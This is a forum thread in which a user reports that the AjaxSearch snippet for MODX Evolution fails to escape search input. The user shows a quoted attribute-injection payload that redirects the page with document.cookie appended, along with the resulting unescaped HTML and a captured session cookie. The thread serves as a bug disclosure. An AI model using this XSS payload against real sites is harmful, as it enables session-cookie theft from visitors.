We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
    • 15807
    • 12 Posts
    Hi all,

    We use AjaxSearch 1.9.2 (on Evo 1.0.5) with the parameter &ajaxSearch=`0`.

    When entering
    " onClick="document.location.href=’http://www.google.com?q=my+cookie+is+’ + document.cookie; "
    into the search form and after a click on the search button and another click on the form - the user gets redirected...

    I don’t know if this is really a problem - but at least somewhat bothering.

    Thanks,
    Ki
      • 15807
      • 12 Posts
      Hi there,

      Does anybody else encounter this behavior?

      From my point of view it should not be possible to "steal" the cookie with the use of JavaScript and the search form. Especially if ajax is turned off. Should this be filed as as bug?

      Thank you very much,
      Ki
        • 5811
        • 1,717 Posts

        Hi Ki,

        I am not sure to understand what you mean. When I enter " onClick="document.location.href=’http://www.google.com?q=my+cookie+is+’ + document.cookie; " into a search form with ajaxSearch=0 like on this page, I get the message "A maximum of 30 characters is allowed for your search term " and I stay on the page. I am not redirected.
          • 15807
          • 12 Posts
          Hi coroico,

          Thank you for your testing and reply.

          As search query I’m entering the string as stated below (the whole line, with the " and the spaces):
          " onClick="document.location.href=’http://www.google.com?q=my+cookie+is+’ + document.cookie; "

          On your site (http://www.evo.wangba.fr/index.php?id=178), the result is a "\" in the search field and the error "At least 3 characters are required for your search term". On my site in contrast, i get an empty search field (and the same error).

          If I click now on the search field again, I get redirected and my cookie shows up in the Google search field, like:
          my cookie is SN4d3fe3c888813=flg1geqq6lajhbnj0cif8ia0u1

          The relevant section of the HTML-code from the results page on my site is:
          <input id="ajaxSearch_input" class="cleardefault" type="text" name="search" value="" onClick="document.location.href=’http://www.google.com?q=my+cookie+is+’ + document.cookie; "" onfocus="this.value=(this.value==’Search here...’)? ’’ : this.value ;" />

          Instead of your perfectly escaped result:
          <input id="ajaxSearch_input" class="cleardefault" type="text" name="search" value="\" onClick=\"document.location.href=\’http://www.google.com?q=my+cookie+is+\’ + document.cookie; \"" onfocus="this.value=(this.value==’Search here...’)? ’’ : this.value ;" />

          What am I doing wrong?

          Thank you very much,
          Ki